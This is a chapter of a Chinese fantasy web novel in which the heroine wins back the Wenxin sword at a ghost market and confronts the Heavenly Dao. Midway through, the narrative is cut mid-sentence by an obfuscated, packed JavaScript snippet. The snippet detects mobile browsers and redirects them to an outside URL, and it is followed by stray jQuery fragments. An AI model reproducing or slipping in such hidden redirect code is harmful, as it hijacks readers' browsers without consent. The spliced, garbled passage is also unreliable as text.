90. 渡我行(五)
作品:《钓系师妹拿稳山神剧本》 莫无双和纪香熟悉来前的路况,带着几人离开鬼门关,路行庭条件特殊,她应着先前的承诺把人装在法珠。
凌山主动提出先回府休息一会,府里很安全,且她还有事没做完,尚且还要再待一会。
进门前她学着贺知当时的样子,给他烧纸传信,对方很快给出回复,不过并不是回信还是敞开的宅门。
“咯吱”一声,大门从内向外打开。
昏暗的角落冒出点幽蓝色鬼火,显得无比诡异。
这场变故突如其来,凌山被吓的面色发白,还没看清对方是什么东西,满脑子先一步脑补鬼脸,她一时失语。倒是身旁的纪香率先尖叫起来。
纪香同样被吓跳起来,她紧紧抓住身旁的可靠的师姐,半晌没听见回复,转头望过去看见对方三魂走了七魄。
看清对方的脸后沉下气来,倒是身旁的凌山透露着一样诡异的反差萌。
等凌山回过神后听见师妹的声音,急促而惊讶:“追杀我们的骷髅头!!”
被唤作骷髅头的伏阳长盯着她身后的一群人,尚且没有反应过来,对方拿的不是被囚禁的话本吗。
且出且看同样没反应过来的,还有被抓住的红衣少年和蒙眼青年。
凌山斜坐在屋里,手捧着屋主人递过来的热茶,被周围人的视线盯着无所适从。
隐蔽或毫不掩饰的视线在空中短暂交汇,最后纷纷停在她的身上。
这是什么大型修罗场。
凌山头晕目眩,两眼发黑,只能安慰自己,还好最能闹腾的一个被关进法珠里。
想到这里她眼观鼻鼻观心,笑着打哈哈将贺知单独带出去,她要找到让烦人精离开鬼界的方法。
保险起见,凌山没有直接发问,而是找贺知借了鬼界相关的书,仔细看完后心中差不多有底。
光线照在他棱角分明的侧脸,贺知笑着送她出去,“师姐要去哪里?”
凌山报出熟悉的地点,贺知听清后点头,一副迷茫无知,不问世事的态度朝她撒娇:“这次也带着我一起逛鬼市吧。”
……
贺知的脸色不是很好,与刚才判落两人,无他,只是因为在得知凌山要进门后,身边的人成倍增长。
让他完全错失独处的机会。
贺知的视线不经意在人群划过,在心里数着人数,还好他最为厌烦的宴如屿被她强留养伤没来。
来了个没脑子的白痴,眼盲还脾气大的废物,他数完前面两个,等数到剩下两个更加无语,为什么她的师姐师妹还要跟着?
凌山也没想到能来那么多人。
平日里一个两个闭门不出,独影独行,突然摇身一变挤着来到鬼市,抢着剩下的鬼灯。
其中变化最为明显的就是莫无双,凌山偏头就能与她四目相对。莫无双从魔域里她当面消失后一反常态,目光恨不得一直粘着她,生怕有丁点风吹草动。
凌山被盯得发毛摸了摸鼻子,她主动伸出手:“要牵手吗?”
这样就不用全程盯着她了。
贺知在远处看的清清楚楚,他常年窥视凌山,早就熟悉她的小心思,可恶,本来有机会是他。
他在心里给多出的人全划上黑名单。
除此之外让凌山震惊的还有姜祯,两人先前明明闹掰,她就没想过来到这里的人会有他。
要知道闯进鬼界可要花费门路和功夫。旁边拱过来的响亮声音打断她的脑回路,齐从唯扬言:“你要的我全包了!”
他拍了拍胸脯得意洋洋,略凶的眉眼显得很憨。
找到了。
凌山停下脚步,看向他的身后,森气的榜上写着几个大字,她扫了一眼大概明白,与她想象的有些出入,问心没有蒙尘躺在摊位,而是变成比武的赢品。
其实她只要亮出问心剑剩下的那块碎片就会自己跑回来,凌山想着,目光投向台上单薄几人。
她还是想锻炼会身体。
莫无双认出赢品,隐隐猜到什么,又不敢确定。看着凌山过五关斩六将,她的进步已经达到常人难以想象的程度,连剑都没唤出来,仅用辅修的术法就击败敌人。
她看了一眼周围人也是差不多的想法,耳边有鬼修顿足,自说自话:“她真的是人吗……”
莫无双闻声望过去,只见到瘦小如竹竿的男人,对方在感受到她的视线后,戴上兜帽匆匆离开。
凌山赢下想要的东西,身后倒下一群人,中途对方还想过合力先对付她,她全程一口大气没喘。
泛着亮光的问心碎片直觉飞入她的芥子袋,凌山心下一稳感觉到完整的问心剑。
金色的叶片被她踩到脚底,发出清脆的声音,她露出一个稚气的笑,从拼尽全力到轻松胜出,这条路她花费太久。
她被飞来的人撞歪身形,直到看见对方飞扬的袍角,她眉心紧皱,又是这人。
最初将她的鬼灯熄灭也是他。
凌山警惕摸向芥子袋,只见绳索尚未松开,但里面的问心剑无端消失,连点灰都没剩。
数道藤蔓朝着对方飞过去,不留空隙缚住他不干净的手脚,很快传来对方叫骂的声音,无比尖锐。
凌山转过身去,眼里是明晃晃的睥睨:“偷了我的东西,还想跑?”
男人对上她的气场先是一慌,回过神后怒道:“你有什么证据?!”
他可不是什么扒手,他认识这好东西,又怎么会轻易相信她的话,据他所知问心剑可从不认主。
所以他清楚地知道她拿不出证据。
既然到了他的手里,那便是他的。
他的手脚很快,在场没有人能够比得过快,仅顷刻间藤蔓全被他摆脱,谷牙阴瘦的脸最后看了眼他们,截然愣住。
贺知为什么会在这里。
贺知认出对方,皱眉,“你居然还活着。”他是自己上位前的残党。
谷牙浑身颤抖,长时间被他压制的回忆涌上心头,两人长久的恩怨,他清楚要是落到对方手里自己必死无疑。
慌不择路下他攻起鬼气,这是他仅有的保命手段,让这群人沉浸在虚无的美好的假象里——
他心中难掩庆幸,哪怕他们摆脱也要花费很多时间。
殊不知在场的人纷纷参加过宗门大比,在真假秘境里受过类似的攻击,熟能生巧,早就免疫。
除了没参加过秘境的姜祯。
姜祯头震欲裂,身形摇晃,布条如同烂布掉在地上,眼前发生从未有过的变化,他茫然摸向自己的眼睛,睫毛在掌心轻轻颤抖。
光线从指缝里透出来。
他好像能够看见了。
白昼涌入眼前,灿黄的树叶被风划过,光斑照在他绀青色的眼睛,只留一片宁静和谐,不适应的疼痛让他发起闷哼。
这位年轻的小师叔愣在原地,视线在空中一一划过,哪怕是第一次看见这个完整的世界也没有让他手忙脚乱。
仿佛蒙尘的珠宝被人擦拭干净,他看见干涩的地面,各色的形物,再到周围的人群,一切都犹如场美梦。
姜祯安静一瞬,心中涌起强烈的意愿。
还没回神背上突然多了道重量,熟悉的气息靠近他,两人曾经亲密,争执,不欢而散,而现在她靠着全身力气压在他身上。
眼前重归一片漆黑。
青年眼睫在她的掌心中微颤。
他还没有见过她,短暂的与世界交汇,偏偏少了他最想见到的人。
为什么要这么对他,细密的感情从心底升起,他将唇咬出血迹。
“不要看。”凌山用力护住他。
掌心里绀青色的眼睛正不断流出血液,粘腻的液体沾上她的手指。
白皙的手指被他的血染上,给她种正在迫害对方的错觉,凌山深呼吸一口气,将胡思乱想压下去。
她单手挡住他的视线,空出的手在空中比划剑招,白光在她的指尖流转,远处发出让人毛骨颤栗的剑鸣声。
男人握住剑柄的手指被颤抖惊起巨痛,他的手指忍不住松开,浑身的血液忍不住倒流般,手中的问心剑转瞬消失。
怎么会这样,这不可能,慌乱避无可避,那柄神器明明从不认主。他震惊的看着眼前一幕,眼珠快要滚落下来。
与此同时,惊讶的还有周围的人,全都忍不住往她的方向看去。
少女垂着眼漫不经心,腰间的彩绳飘荡于空中,问心剑在她手中挽形,留下看不清的黑白残影,主动与她配合。
她仅用一击就将人打倒,尖锐的惨叫声划过众人的耳膜,连带着那场幻境一同破碎,引地周围看热闹人倒吸冷气,忍不住后退。
她朝贺知使了个眼色,将人后续给他处理。贺知望着她出神,而后不知原因,轻叹一口气,将人接下。
她生长的如此强大,还真的叫他难办。
原来这才是问心剑的真正力量,方才那一招她连一成都没用上。
凌山再次睁开眼时,眼底划过金色的流光。手中的佩剑隐隐发烫,一黑一白在她眼前闪烁,才发现在不为人知的角落白面早已圆满,她恍然。
思绪一点点清晰。
黑面集成需要她的血,而白面则是她的眼泪,在血与泪中付出的所有,方为问心。
意识到这点后轰隆一声,一道惊雷仿佛要将天地劈成两半。
与过往不同,这次祂在害怕。
手中佩剑直指着天,凌山做事并不喜欢拖泥带水,她呢喃:“天道老儿。”
双手合十施着繁复的法决,神术空间被她玩的熟练,再睁开眼时,世界仿佛有无数根丝线构成,她的神识穿梭在其中,如鱼得水。
她完整看见线的路径,无数根透明的丝线交杂在空气当中,构成细密的形状,牵起整个空间,凌山闭上眼朝境
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135986|159269||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中而去,临走前,她回头望向众人,留下清晰二字:“等我回来。”
境中——
白光望着她,熟悉的人站在他眼前,他却仿佛是第一次认识对方:“你还真是厉害啊。”
天雷在境顶划过无数根细小的裂缝,千万根疤痕交错连接,再结成一个个疙瘩,犹如不再平稳的他。
天道难以理解:“你难道不会累不会痛吗?不是已经变成一个完整的人,明明你可以止步,明明不必犯险来找我。”
人活一世皆有执念,她既然有了完整的感情,必定会生出多余的贪婪。
对方后退一步。
她答非所问:“我看见了,我在线里看见了传说中的天梯,世人皆道踏天梯登仙途,多少年修真界无人飞升,是你亲手将天梯藏起来。”
凌山手腕一转,问心白面朝上,朴质极简的剑身印有奇异的云纹。
她继续道:“拯救苍生不是你的目的,召来芜族不是你的目的,促成人牲链不是你的目的,争夺问心剑更不是你的目的。”
她抬眼眼里却是茫然和悲悯,金光转瞬即逝,她盯着对方身上的线,“你的目标是我。”
白光闪过已然不想掩饰,他看着凌山像是在看着自己打造出来的作品,终于愿意道出自己的真实想法。
“杀了我,我要你亲手杀了我,只有你才能杀死我。”
只有她用本命剑才能斩杀自己。
雷声嘶吼着,将四周闪成一片盲白,世界仿佛重新铺平擦净,什么都不再剩下。
兜兜转转,两人从相识到相杀,她因警惕恐惧无数次担心对方从梦境再次找来,又因知晓天道模仿人性后想过商讨和好,凌山没想到是这样的真相。
对方说完消失在原地,四周如同白纸将她包围,她变成是白纸上唯一的黑点,只不过这次,她变成了天道。
就像她从前说过好几次,这天道还不如我来当。
凌山虽然身处天道视角,却宛若一个被人拽起的提线木偶,她清楚的意识到,自己只是一个旁观者。
被固定和推搡着从对方的视角走过。
最初天道十分“称职”,天地孕育的历代神与天道的存在类似于职位,祂们没有多余的感情,只需要墨守成规,做好自己的分内之事。
比如合理运控着整个世界的规则。
意外发生在那场仙魔大战,她坠下命盘让对方出现细微的神智。身为天道的日子太无聊了,白光暗淡又熄灭,熄灭又暗淡,无论如何,周围都只剩下自己一人。
倘若他没有窥见另一种结局。
祂站在境中看着满目苍夷的世界,又亲手堆复修砌,可人想要的并没有那么简单,人心足以吞万象,每到节寺都有无数人向天道许愿。
人人都祭祀神信仰神,却都是想从对方那得到什么,因祈祷跪地,因没有得到满足而谩骂。
天道原是没有心的,他不理解人为什么总是不能满足。他想到坠出三界的同僚,生起一个有趣的想法,他在境中模仿学习人的一切,给自己捏出半颗人心。
此时的他还没能想到,他会因为这半颗心更加恼怒,天道的日子烦闷而枯燥,幸福就像一颗毒果,不能离开境的日子里,他更加讨厌羡慕凡人。
这般贪婪的人怎么配飞升为神呢,他都没有变成人,对方又凭什么变成神,凭什么这些人先他一步得到满足?于是他第一次破坏规则,亲手隐藏掉天梯。
这只是开始,他终于听到更多有趣的声音。
直到他终于成功让凌山回来,设计劝告拉拢或威胁她,只为达到想要的目的。
杀掉她或者被她杀掉。
他不想再存在,可世间运行少不了他,甚至没有人能斩杀天道的实体,只是她才能做到。
“可你明明不想死。”凌山从他的回忆里抽身离开。
问心剑被她握在泛白的虎口,周围游离双色光芒,她静静道:“不然你为什么要向我说这些。”
境中静寂无声。
凌山没有给对方犹豫的机会,神识先她一步开始观察,细细密密的线钻过无数缝隙,找到对方那半颗心魂的位置。
问心剑飞出去,剑身无比显眼与之而来的是那股强大的气势,凌山熟练掌握将心魂从对方身上斩落。
没有半颗心魂的天道黯然失色,修真界开始重新归位——
本命剑飞回她身边,她握住那半颗心魂对其道:“我还差一位剑灵。”
半晌她补充:“我可不是因为想救你,只是因为破烂找不到垃圾桶,偏偏又不能随便丢掉。”
世界的丝线绕来绕去,她甚至看见自己待过的第一世界,她好奇地拨开那些透明的线,尾指的红线也跟着划过那些丝线,她才明白其没有实体,仅她能看见。
境中留下她无痕的脚印,凌山一路前行。
她知道还有人在等她。